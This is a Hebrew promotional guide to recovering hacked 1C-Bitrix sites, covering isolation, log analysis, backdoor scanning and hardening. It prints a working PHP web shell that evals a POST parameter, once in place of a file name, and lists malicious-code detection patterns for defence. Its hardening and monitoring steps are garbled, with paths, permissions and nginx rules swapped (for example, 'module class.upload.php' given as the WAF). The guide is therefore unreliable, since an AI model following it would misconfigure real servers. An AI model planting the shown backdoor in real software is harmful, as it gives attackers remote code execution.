אתה מגלה שהאתר שלך מפנה מבקרים למשאב אחר, ומנועי החיפוש מזהירים מפני איום. או שספק האחסון מודיע לך על שליחת ספאם מהשרת שלך. אלה סימנים אופייניים לפריצת 1С-Bitrix: הזרקת backdoor ב-/bitrix/modules/, בלוקי מידע ששונו, או קוד זדוני שהוזרק לתבניות. המהנדסים שלנו, עם ניסיון של למעלה מ-5 שנים, משחזרים אתרים במתכונת turnkey — אנו משחזרים את הפונקציונליות תוך 1–3 ימים ומחסלים את הגורם השורשי. הפסדי זמן השבתה יכולים להגיע לעשרות דולרים ביום (לדוגמה, $150–300 לחנות מקוונת ממוצעת), כך שכל החלטה חייבת להיות מדויקת.
שחזור אינו רק הסרת קבצים זדוניים — זה מחזור מלא: בידוד, ניתוח וקטור התקיפה, ניקוי, סגירת פרצות וניטור. דילוג על כל שלב מוביל לפריצה חוזרת תוך ימים. להלן תוכנית פעולה ברורה המבוססת על למעלה מ-200 פרויקטים מוצלחים.
כיצד לבודד את האתר לפני הניתוח?
אל תמחק שום דבר עדיין. ראשית, שמור את המצב הנוכחי — הוא נחוץ לניתוח. צור גיבוי מלא של קבצים ומסד נתונים. לאחר מכן הגבל גישה: הצב דף ביניים באמצעות nginx (return 503) או .htaccess עם Deny from all ו-Allow from את כתובת ה-IP שלך. זה מונע נזק נוסף ומונע מהתוקף להתבסס.
שנה מיד את כל הסיסמאות:
- סיסמאות מסד נתונים (ב-
.settings.phpו-dbconn.php) - גישת FTP/SSH
- סיסמאות חשבונות ניהול של Bitrix
- מפתחות API של שירותי צד שלישי המאוחסנים בקובצי תצורה
בדוק אם נוספו מפתחות SSH או משימות cron. תוקפים מוסיפים לעתים קרובות את המפתח הציבורי שלהם ל-~/.ssh/authorized_keys ויוצרים משימות cron לטעינה תקופתית של backdoor. הפעל את crontab -l עבור כל המשתמשים ובדוק את תוכן /etc/cron.d/.
כיצד לזהות את וקטור התקיפה?
ללא הבנה כיצד התוקף נכנס, השחזור חסר משמעות — הם יפרוצו שוב דרך אותו חור. לפי התיעוד הרשמי של 1С-Bitrix לאבטחה, 80% מהפריצות מתרחשות עקב מודולים מיושנים או סיסמאות חלשות. תרחיש אופייני: פרצה במודול ישן טוענת web shell, ואז התוקף מעלה הרשאות למנהל. נתקלנו בזה בלמעלה מ-200 פרויקטים.
| וקטור | סימנים | היכן לחפש עקבות |
|---|---|---|
| ליבה מיושנת עם CVE ידוע | גרסת הליבה ב-/bitrix/modules/main/classes/general/version.php נמוכה מהנוכחית |
יומן עדכוני האבטחה של 1С-Bitrix |
| מודול צד שלישי פגיע | Backdoor בתיקיית המודול | /bitrix/modules/vendor.module/ |
| פרטי התחברות שנפרצו | התחברות מכתובת IP לא טיפוסית | b_event_log, סינון לפי AUDIT_TYPE_ID = 'USER_LOGIN' |
| העלאת Shell דרך טופס | קובץ PHP ב-/upload/ |
חיפוש קבצי .php ב-/upload/, /bitrix/tmp/ |
| SQL injection | נתונים ששונו במסד הנתונים, מנהלים חדשים | טבלת b_user — רשומות חדשות עם ADMIN = Y |
נתח את יומני הגישה של שרת האינטרנט מהתקופה שלפני הגילוי. חפש בקשות POST לכתובות URL לא סטנדרטיות, בקשות לקבצים ב-/upload/ עם סיומת .php, ובקשות עם דפוסים אופייניים (eval, base64, system).
אלגוריתם שחזור שלב אחר שלב
- בידוד. עצור את שרת האינטרנט או הצב דף ביניים. צור גיבוי מלא.
- ניתוח. חקור יומנים, קבע את וקטור התקיפה.
- ניקוי. הסר backdoors, שחזר את הליבה, נקה את מסד הנתונים.
- סגירת פרצות. עדכן את הליבה והמודולים, הגדר הרשאות, הפעל WAF.
- בדיקה. ודא פונקציונליות והיעדר אירועים.
- ניטור. הגדר מערכות מעקב אחר שינויים למשך 2–4 שבועות.
ניקוי מלא של מערכת הקבצים
בדיקת ליבה. השתמש בכלי המובנה /bitrix/admin/site_checker.php → "בדיקת תקינות קבצי הליבה". הוא משווה סכומי בדיקה עם ערכי ייחוס. כל קובץ ליבה ששונה חשוד. ליבת Bitrix לא אמורה להכיל שינויים שלך; אם היא מכילה, זה או פריצה או פרקטיקה רעה שיש לתקן.
חיפוש Backdoor. סרוק את מערכת הקבצים עבור דפוסים אופייניים:
-
קבצי
.phpבתיקיות/upload/,/bitrix/tmp/,/bitrix/cache/ - קבצים עם תאריכי שינוי אחרונים ב-
/bitrix/modules/(אם לא עדכנת את הליבה) - תוכן:
eval(,base64_decode(,gzinflate(,str_rot13(,assert(,preg_replaceעם משנהe - קבצים עם שמות המחקים קבצי מערכת:
wp-config.php,config.bak.php,.htaccess.php
כלי סטנדרטי: מודול bitrix.security (הגנה פרואקטיבית) → "סורק אבטחה" מבצע חיפוש בסיסי אחר קוד חשוד.
בדיקת מסד נתונים. חפש בטבלת b_user משתמשים עם הרשאות מנהל שלא יצרת. בדוק את b_option עבור הגדרות מודול ששונו (במיוחד main ו-security). בדוק את b_file עבור רשומות המתייחסות לקבצי PHP ב-/upload/.
דוגמה ל-backdoor אופייני
<?php $x=$_POST['cmd']; if(isset($x)){eval($x);} ?> קבצים כאלה מוסווים לעתים קרובות כקבצי מערכת, לדוגמה, <?php $x=$_POST['cmd']; if(isset($x)){eval($x);} ?> .
השוואת אפשרויות שחזור
| אפשרות | אבטחה | זמן | מורכבות |
|---|---|---|---|
| התקנה מחדש של ליבה נקייה | גבוהה — מבטלת קבצים ששונו | 2–4 שעות | בינונית — דורשת החלפת תיקיות |
| שחזור מגיבוי | בינונית — תלוי בתאריך הגיבוי | 1–2 שעות | נמוכה — אך דורש גיבוי מלפני הפריצה |
| תיקון נקודתי | נמוכה — סיכונים שיוריים | 3–6 שעות | גבוהה — דורש ניתוח מדויק |
בפועל, התקנה מחדש של ליבה נקייה אמינה פי 2 משחזור מגיבוי שנלקח לאחר הפריצה. לאחר הניקוי, הקפד לעדכן את ליבת Bitrix לגרסה היציבה העדכנית ביותר. הסר או עדכן את כל מודולי הצד השלישי. הפעל את מודול class.upload.php: WAF (מסנן פרואקטיבי), הגנת מסגרות, הגבלת IP למפגשים. הגדר הרשאות מערכת קבצים: תיקיות bitrix.security, קבצים 0755, בעלים — לא root. הגבל גישה ל-0644 לפי IP דרך nginx/Apache. השבת ביצוע PHP ב-/bitrix/admin/: ב-nginx — /upload/.
מה כלול בעבודת turnkey
- ניתוח יומני גישה וזיהוי וקטור התקיפה
- הסרת קוד זדוני ו-backdoors
- שחזור הליבה והרכיבים
- עדכון כל המודולים לגרסאות העדכניות ביותר
- הגדרת WAF והגנה פרואקטיבית
- שינוי כל הסיסמאות והמפתחות
- בדיקת פונקציונליות
- דוח עם המלצות להמשך הגנה
- אחריות ל-6 חודשים מפני פריצה חוזרת דרך אותה פרצה
- עלות השחזור: מ-$100–300 בהתאם למורכבות; חיסכון טיפוסי משחזור מהיר: $150–500 הפסדי זמן השבתה שנמנעו.
ניטור לאחר השחזור
השבועיים–4 הראשונים קריטיים. הגדר:
- ניטור קבצים (inotify / AIDE / tripwire) — מעקב אחר שינויים ב-
location ~* /upload/.*\.php$ { deny all; }ו-/bitrix/modules/ - ניטור יומני גישה עבור בקשות POST חשודות
- בדיקת
/bitrix/php_interface/עבור רשומות מנהל חדשות (דרך cron + סקריפט) - ניטור כותרות HTTP חיצוניות — זיהוי הפניות לא מורשות
פריצה שנייה לאחר ניקוי לקוי היא שאלה של "מתי", לא "אם". backdoor אחד שהוחמצה בתיקיית b_user נשכחת מבטלת את כל העבודה. צור איתנו קשר לייעוץ — נבחן את המקרה שלך תוך יום אחד ונציע תוכנית עם אחריות ל-6 חודשים. הזמן ביקורת אבטחה כדי להבטיח שהאתר שלך מוגן. שירות שחזור Bitrix וניקוי פריצות שלנו יעיל פי 3 משיטות עשה זאת בעצמך לפי משוב לקוחות.